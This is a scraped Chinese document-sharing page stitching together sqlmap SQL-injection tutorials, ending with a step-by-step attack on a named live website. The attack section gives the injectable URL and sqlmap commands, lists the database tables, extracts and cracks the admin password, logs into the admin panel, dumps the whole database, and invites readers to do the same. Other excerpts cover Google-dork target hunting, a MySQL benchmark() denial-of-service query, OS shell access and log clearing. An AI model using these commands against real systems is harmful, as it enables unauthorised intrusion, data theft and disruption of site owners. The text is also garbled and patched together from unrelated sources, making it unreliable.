实战:sqlmap注入特殊网址

合集下载

sqlmap在https下的一种错误-ssl连接失败

sqlmap在https下的一种错误-ssl连接失败

sqlmap在https下的⼀种错误-ssl连接失败在昨天与师傅的交流中师傅考了我⼀个问题,在⽤sqlmap跑的时候遇到ssl爆红该怎么办,因为在实战中并没有遇到过这种情况,所以今天补⼀下知识。

⾸先查询了ssl的概念,通俗来说,如果⼀个⽹站没有安装ssl证书,那么他的传输⽅式就是http传输,安装ssl证书过后就是https传输,https传输加密性⽐http好得多,这是其⼀;当你访问⼀些没有安装ssl的⽹站时,会出现如下界⾯:没有安装ssl会导致信息很容易被窃取,这是其⼆;拥有ssl证书的⽹站会在⾕歌和百度拥有更⾼的权重,通俗来说就是当你搜索⼀个相同的内容时,拥有ssl的⽹站肯定会⽐没有ssl的⽹站在搜索上靠前。

了解概念之后回到师傅抛给我的问题,为什么⽹站会报ssl连接错误呢?就是因为ssl证书的原因,⽽且sqlmap它是不能⾃动伪造ssl证书的,所以这时候就有两种⽅法去解决ssl爆红的操作:通过本地代理端⼝进⾏访问通过搭建web,访问代理⽂件进⾏注⼊8080端⼝是被⽤于WWW代理服务的,apache安装后默认的端⼝就是8080端⼝。

因为⽬标站是https,加⼊--force-ssl参数然⽽还是报错ssl,这时候就只能代理本地的8080端⼝然后就能够顺利跑出来,结果如下:Parameter: id (POST)Type: boolean-based blindTitle: AND boolean-based blind -WHERE or HAVING clausePayload: id=3395AND1967=1967Vector: AND[INFERENCE]Type: error-basedTitle: Microsoft SQL Server/Sybase AND error-based -WHERE or HAVING clause (IN)Payload: id=3395AND8669IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR Vector: AND[RANDNUM]IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))Type: inline queryTitle: Microsoft SQL Server/Sybase inline queriesPayload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118Vector: (SELECT'[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')Type: stacked queriesTitle: Microsoft SQL Server/Sybase stacked queries (comment)Payload: id=3395;WAITFOR DELAY '0:0:5'--Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--Type: AND/OR time-based blindTitle: Microsoft SQL Server/Sybase time-based blind (IF- comment)Payload: id=3395WAITFOR DELAY '0:0:5'--Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--另外⼀种⽅法就是⽤⼀个php⽂件直接⽤sqlmap跑php就ok因为第⼆种⽅法⽐较⿇烦,还要写代码,这⾥就先不搞了QAQ查阅google后看到,第⼀种⽅法不⼀定⽤bp代理,通过charles本地映射后访问也可以。

使用SQLMAP对网站和数据库进行SQL注入攻击

使用SQLMAP对网站和数据库进行SQL注入攻击
使用SQLMAP对网站和数 据库进行SQL注入攻击
主讲人:孙实 制作:曹轶森
A:SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的 应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。 SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有 经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的 时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最 常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据 库。
所以这是一个DES(Unix) HASH。
使用cudahashcat破解HASH
首先我们必须知道DES HASH使用的代码,运行命令:
如图所示:代码是1500或3100,因为目标 是一个MySQL数据库,所以一定是1500.
将HASH值存储在DES.hash文件中,然后运行命令:
现在我们得到了破解的密码:abc123, 接下来我们就可以使用这个用户的身 份登录了。
利用Google Dorks字符串 找到可注入的网站
初始验证网站是否可以进行SQL注入
上面的字符串搜索之后,也许会得到成百上千的结果,那么如 何判断这些网站是否可以进行SQLMAP的注入呢? 假设你使用了字符串:inurl:item_id=,然后其中一个结果的网 站是: 在后面添加添加一个单引号’之后,URL成为了: 如果页面返回一个SQL错误,说明页面存在SQL注入点;如果 页面加载正常显示或者重定向到一个不同的页面,跳过这个网站, 用同样的方法去测试下一个网站。
列出DBMLeabharlann 数据库找到了一个存在SQL注入点的网站后,我需要列出所有的数据 库(有时这也称为枚举列数)。SQLMAP会告诉我们哪个存在漏洞。 运行下面的命令,参数是你找到的存在注入点的网址:

SQL注入基本方法和假税务网站攻破全过程

SQL注入基本方法和假税务网站攻破全过程

SQL注入基本方法和假税务网站攻破全过程一、SQL手工注入步骤(以自制虚拟机环境为例)1.寻找注入点一般采用最简单的1=1判断为正常和1=2判断为错误来寻找,符合此条件的比为注入点。

2.直接在网址后加加单引号来判断数据库类型如在虚拟机环境下探测的结果为[Microsoft][ODBC SQL Server Driver][SQL Server],判断该数据库为SQL Server。

3.为进一步判断该数据库的版本,则在语句后加“and (@@version)>0”得出Microsoft SQL Server的数据库版本为2000。

4.判断登陆当前数据库的用户示例语句:http://192.168.2.5/list.asp?id=1 and user>0 ,结果:[Microsoft][ODBC SQL Server Driver][SQL Server]将nvarchar 值'dbo' 转换为数据类型为int 的列时发生语法错误,判断该数据库的用户为“dbo”。

5.判断当前数据库的名称示例语句:http://192.168.2.5/list.asp?id=1 and db_name()>0,结果为article,判断其他数据库名称则在地址后加“and (select name from master.dbo.sysdatabases where dbid=6)>1 ”语句,结果为:Northwind将dbid的值改为7则,结果为VRVEIS将dbid的值改为8则,结果为article将dbid的值改为9,10,11,返回结果为空白,基本判断其他数据库挖掘完毕。

6.进一步判断表结构。

示例:地址+ and (select top 1 name from sysobjects where xtype='u' and status>0)>0,得出第一个表为“t_jiaozhu”。

sqlmap使用方法总结

sqlmap使用方法总结

SQLMap 是一款开源的自动化 SQL 注入工具,它可以帮助安全人员快速发现和利用网站中的 SQL 注入漏洞。

以下是 SQLMap 的一些基本使用方法总结:
1. 确定目标:首先,你需要确定要测试的目标网站或应用程序的 URL。

2. 选择注入点:在目标网站上,选择一个你认为可能存在 SQL 注入漏洞的页面或表单。

通常,这些页面会接受用户输入,如用户名、密码、搜索框等。

3. 生成测试语句:使用 SQLMap,你可以生成各种类型的测试语句来尝试注入 SQL 命令。

可以通过指定注入点的参数名称和值来生成测试语句。

4. 执行测试:将生成的测试语句发送到目标网站,并观察返回的结果。

SQLMap 会根据返回的结果判断是否存在 SQL 注入漏洞,并尝试获取更多的信息。

5. 利用漏洞:如果发现了 SQL 注入漏洞,你可以使用 SQLMap 来进一步利用该漏洞。

例如,获取数据库中的敏感信息、修改数据、执行任意 SQL 命令等。

6. 报告漏洞:在完成测试和利用漏洞后,建议你向相关方报告发现的漏洞,以帮助他们修复问题并提高网站的安全性。

需要注意的是,SQLMap 的使用需要谨慎,并且应该仅在授权的环境下进行。

在进行任何安全测试之前,请确保你已经获得了合法的授权。

此外,SQLMap 可能无法适用于所有的网站和应用程序,因为一些网站可能采取了防护措施来防止 SQL 注入攻击。

【Web攻防】第九节 Sqlmap注入位置介绍

【Web攻防】第九节 Sqlmap注入位置介绍
python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"
总结
1. Sqlmap注入介绍 2. Sqlmap设置指定注入参数
3. Sqlmap设置URI注入位置 4. Sqlmap设置任意注入位置
谢谢
例如,当使用 Apache web 服务器的 mod_rewrite 模块或其他类似的技术时,这就显得特别有用了
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
04
Sqlmap设置任意注入位置
与 URI 注入点类似,星号 (*)( 注意 : 这里也支持 Havij 样式 %INJECT %) 也可以用来指向 GET 、 POST 或 HTTP 头中的任意注入点。注入点可以通过在带有选项 -u 的 GET 参数值、带有选项 - 数 据的 POST 参数值、带有选项 -H 的 HTTP 头值、带有选项 - 头、用户代理、引用和 / 或 cookie 的 HTTP 头值中指定,或者在带有选项 -r 的文件中加载的 HTTP 请求的通用位置指定。
Sqlmap 视频课程
Sqlmap注入 注入位置介绍
课程内容
1. Sqlmap注入介绍 2. Sqlmap设置指定注入参数
3. Sqlmap设置URI注入位置 4. Sqlmap设置任意注入位置
01
Sqlmap注入介绍
Sqlmap 注入介绍
所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达 到欺骗服务器执行恶意的 SQL 命令。具体来说,它是利用现有应用程序,将(恶意的) SQL 命令注入到 后台数据库引擎执行的能力,它可以通过在 Web 表单中输入(恶意) SQL 语句得到一个存在安全漏洞的 网站上的数据库,而不是按照设计者意图去执行 SQL 语句。

SQLMAP注入教程-11种常见SQLMAP使用方法详解

SQLMAP注入教程-11种常见SQLMAP使用方法详解

SQLMAP注⼊教程-11种常见SQLMAP使⽤⽅法详解⼀、SQLMAP⽤于Access数据库注⼊(1) 猜解是否能注⼊1 2win:python sqlmap.py -u "" Linux :.lmap.py -u ""(2) 猜解表1 2win:python sqlmap.py -u ""--tables Linux:.lmap.py -u ""--tables(3) 根据猜解的表进⾏猜解表的字段(假如通过2得到了admin这个表)1 2win:python sqlmap.py -u ""--columns -T admin Linux:.lmap.py -u ""--columns -T admin(4) 根据字段猜解内容(假如通过3得到字段为username和password)1 2 3win:python sqlmap.py -u ""--dump -T admin -C "username,password" Linux:.lmap.py -u ""--dump -T admin -C"username,[url=]B[/url]password"⼆、SQLMAP⽤于Cookie注⼊(1) cookie注⼊,猜解表1win :python sqlmap.py -u ""--cookie "id=31" --table --level 2 (2) 猜解字段,(通过1的表猜解字段,假如表为admin)1 2win :python sqlmap.py -u ""--cookie "id=31" --columns -T admin --level 2(3) 猜解内容1 2win :python sqlmap.py -u ""--cookie "id=31" --dump -T admin -C "username,password"--level 2三、SQLMAP⽤于mysql中DDOS攻击(1) 获取⼀个Shell1 2 3 4win:python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell Linux:sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell(2) 输⼊执⾏语句完成DDOS攻击1select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)四、SQLMAP⽤于mysql注⼊(1) 查找数据库1python sqlmap.py -u ""--dbs(2) 通过第⼀步的数据库查找表(假如数据库名为dataname)1python sqlmap.py -u ""-D dataname --tables(3) 通过2中的表得出列名(假如表为table_name)1python sqlmap.py -u ""-D dataname -T table_name --columns(4) 获取字段的值(假如扫描出id,user,password字段)1 2python sqlmap.py -u ""-D dataname -T table_name -C "id,user,password"--dump五、SQLMAP中post登陆框注⼊(1) 其中的search-test.txt是通过抓包⼯具burp suite抓到的包并把数据保存为这个txt⽂件我们在使⽤Sqlmap进⾏post型注⼊时,经常会出现请求遗漏导致注⼊失败的情况。

sqlmapr操作案例

sqlmapr操作案例操作案例:使用sqlmapr进行注入攻击1.前期准备:首先,确保已经安装了sqlmap和Burp Suite。

如果没有安装,可以从官方网站下载并按照说明进行安装。

2.目标选择:选择一个目标网站,尝试输入一些参数,观察是否有任何异常响应。

例如,输入特定的SQL语句或特殊字符,看看是否会导致错误或异常响应。

这可以帮助判断目标是否存在注入漏洞。

3.配置Burp代理:打开Burp Suite,并配置其代理设置。

确保将其设置为拦截所有HTTP请求,以便能够捕获目标网站的请求数据。

4.请求捕获:打开目标网站,并尝试进行登录或其他操作。

当Burp Suite 拦截到请求时,查看请求数据,并找到包含参数的部分。

5.参数修改:在参数值后添加特定的SQL注入语句或特殊字符,如单引号(')或注释符号(--、/**/),并重新发送请求。

观察目标网站的响应,看是否有异常或错误信息出现。

6.确认注入:如果目标网站出现了异常或错误信息,那么很可能存在注入漏洞。

尝试使用sqlmap的命令行工具,将捕获的请求数据作为输入,并指定目标URL和其他相关参数。

例如:sqlmap-r request.txt--dbs--batch该命令将使用请求数据文件(request.txt)作为输入,并尝试获取数据库架构、转储所有数据库表项等信息。

7.获取敏感信息:一旦确认存在注入漏洞,可以使用sqlmap进一步获取敏感信息,如数据库的用户名、密码、表名和数据等。

根据具体情况选择适当的参数和选项,如--current-user、--current-db、--passwords等。

8.后门植入与绕过:如果需要进一步利用注入漏洞,可以使用sqlmap的-u参数指定后门URL和相关参数。

同时,为了绕过安全过滤机制,可以使用sqlmap的绕过功能,如使用注释符号、编码等技巧来隐藏注入代码。

9.日志清理与安全措施:在完成攻击后,清理日志文件和清除后门是非常重要的步骤。

sqlmap的基本命令使用

sqlmap的基本命令使用以下是sqlmap的基本命令使用:1. 执行SQL注入测试:`sqlmap -u <目标URL>`2. 执行POST请求的SQL注入测试:`sqlmap -u <目标URL> --data="<POST数据>"`3. 指定请求cookie进行SQL注入测试:`sqlmap -u <目标URL> --cookie="<cookie数据>"`4. 指定GET参数进行SQL注入测试:`sqlmap -u <目标URL> --data="<GET参数>"`5. 指定数据库管理系统类型:`sqlmap -u <目标URL> --dbms=<数据库类型>`6. 指定要测试的注入点:`sqlmap -u <目标URL> --level=<注入点级别> --risk=<注入点风险等级>`7. 使用代理进行测试:`sqlmap -u <目标URL> --proxy=<代理地址>`8. 指定响应时间,以检测时间盲注:`sqlmap -u <目标URL> --time-sec=<延迟时间>`9. 指定自定义payload进行测试:`sqlmap -u <目标URL> --data="<POST数据>" --payload="<payload数据>"`10. 获取数据库的表:`sqlmap -u <目标URL> --tables`11. 获取指定数据库的列:`sqlmap -u <目标URL> --columns -D <数据库名> -T <表名>`这些是sqlmap的一些基本命令,你可以根据实际情况进行调整和更改。

sqlmap


url -D 数据库 -T 表名 -C 字段 --dump 暴内容
post登陆框注入
方法一:利用burp Suit抓包,把包内容保存为txt
sqlmap -r 保存的包文本 -p 参数
方法二:sqlmap -u url --forms
方法三:sqlmap -u url --data "参数=值&参数=值"
access注入手法
1.sqlmap -u "url"
2.sqlmap -u url --tables 猜表
3 sqlmap -u url -T 表名 --columns 暴字段
4.sqlmap -u url -T 表名 -C 字段名 --dump 暴内容
mysql注入手法
批理搜索
sqlmap -g inurl:php?id=
url --privileges查看权限
写入sehll(权限大时才可以)
sqlmap - u url --os-cmd=命令
sqlmap - u url --os -shell=命令
伪静态注入
在存在注入的地方加上*号
延时注入
跟秒
sqlmap --dbs -u url --safe-freq 次数
sqlmap -u url --current-db当前库
url --current-user当前用户
sqlmap -u url --dbs 获得数据库
sqlmap -u url -D 数据库 --tables 获得表
url -D 数据库 -T 表名 --columns 暴字段

sqlmap 注入测试用例

在使用sqlmap进行注入测试时,需要首先确认目标网站存在SQL注入漏洞,并获得合法授权进行测试。

以下是一个简单的sqlmap注入测试用例示例:
假设目标网站的URL为:url
1. 使用GET方法测试注入:
sqlmap -u " url /login.php?username=test&password=123" --dbs
```
这个命令将使用sqlmap对指定的URL进行GET请求的注入测试,并尝试获取数据库信息。

2. 使用POST方法测试注入:
sqlmap -u " url/login.php" --data "username=test&password=123" --dbs
这个命令将使用sqlmap对指定的URL进行POST请求的注入测试,并尝试获取数据库信息。

在实际测试中,还可以使用更多的参数和选项来定制sqlmap的测试行为,比如指定cookie、使用代理等。

但需要注意,在进行任何安全测试时,务必获得合法授权,并遵守法律法规。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

1.目标网站:
http://vietnhatpro.vn/
2.注入点:
这里可以自己找
http://vietnhatpro.vn/index.php/mod,product/task,view/id,20/
可以看到 他的url有点不一样,我们常识把他变成动态的
访问
http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200
发现可以,和上面的地址等效,开始注入
3. 检测注入
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 –tables
发现可以注入,而且是mysql
但是发现开始接收 information 的那个没用的数据库,太浪费时间所以先关掉
4.列出数据库
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 –dbs
发现最后一行出现了有用的数据库 vietnhat_db
5. 指定数据库,开始找表
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db –tables
开始接收表啦,马上就要成功了
Database: vietnhat_db [43 tables]
+-------------------------+
| user |
| admin_menu |
| lang |
| tbl_action |
| tbl_advert |
| tbl_attribute |
| tbl_contact |
| tbl_download |
| tbl_group_attribute |
| tbl_member |
| tbl_module_roll |
| tbl_news |
| tbl_nguoiban |
| tbl_partner |
| tbl_photo |
| tbl_product_attribute |
| tbl_product_attribute2 |
| tbl_productor |
| tbl_project |
| tbl_project_options |
| tbl_roll |
| tbl_service |
| tbl_shopping_cart |
| tbl_slideshow |
| tbl_user_online |
| tbl_usertype_moduleroll |
| tbl_warranty |
| tblabout |
| tblbanner |
| tblcomment |
| tblgroup |
| tblkhachhang |
| tblnguoiban |
| tblpartner |
| tblpoll |
| tblproduct |
| tblsupport |
| tblsystem |
| tblthongtin |
| tblusergroup |
| tblusergroup_moduleroll |
| tblvote |
| user_type |
这个就是数据库里面的表,我找到了user表,感觉里面可能有 管理员
6. 指定表,开始查找列
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db -T user –columns
这里发现了 id,password, username 之后就没有必要继续下去了,我先关闭
7.开始查找内容
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db -T user
-C id,username,password --dump
成功找到 admin
开始破解密码
成功找到密码
8. 开始寻找后台
尝试 http://vietnhatpro.vn/admin.php发现失败了尝试 http://vietnhatpro.vn/admin成功找到
登陆之后
发现全都不认识。

但是发现最下面有个系统config 可以切换成英语。

在这里我就关闭了
9. 开始脱裤
sqlmap -u http://vietnhatpro.vn/index.php/mod,product/task,view/?id=200 -D vietnhat_db –dump-all
有兴趣的自己去脱裤去吧、
再见。

相关文档
最新文档